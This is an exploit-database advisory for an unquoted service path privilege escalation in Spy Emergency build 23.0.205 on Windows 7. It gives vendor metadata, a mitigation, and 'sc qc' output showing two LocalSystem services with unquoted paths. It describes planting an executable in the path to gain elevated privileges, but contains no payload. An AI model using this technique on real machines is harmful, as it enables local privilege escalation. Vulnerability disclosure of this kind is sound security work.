Spy Emergency Unquoted Service Path Privilege Escalation

vendor:

Spy Emergency

by:

Amir.ght

7,2

CVSS

HIGH

Privilege Escalation

269

CWE

Product Name: Spy Emergency

Affected Version From: Build 23.0.205

Affected Version To: Build 23.0.205

Patch Exists: YES

Related CWE: N/A

CPE: a:netgate:spy_emergency

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7

2016

Spy Emergency Unquoted Service Path Privilege Escalation

Spy Emergency installs two service with an unquoted service path. To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service. Upon service restart or system reboot, the malicious code will be run with elevated privileges.

Mitigation:

Ensure that all services have a fully qualified path name with quotation marks around the path.

Source

Exploit-DB raw data:

#########################################################################
# Exploit Title: Spy Emergency Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.spy-emergency.com/
# Software Link: http://www.spy-emergency.com/download/download.php?id=1
#version : build 23.0.205  (Latest)
# Tested on: Windows 7
##########################################################################

Spy Emergency installs two service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc SpyEmrgHealth
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SpyEmrgHealth
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Spy
Emergency\SpyEmergencyHealth.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Spy Emergency Health Check
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
------------------------------------------------------------------
C:\>sc qc SpyEmrgSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SpyEmrgSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Spy
Emergency\SpyEmergencySrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Spy Emergency Engine Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem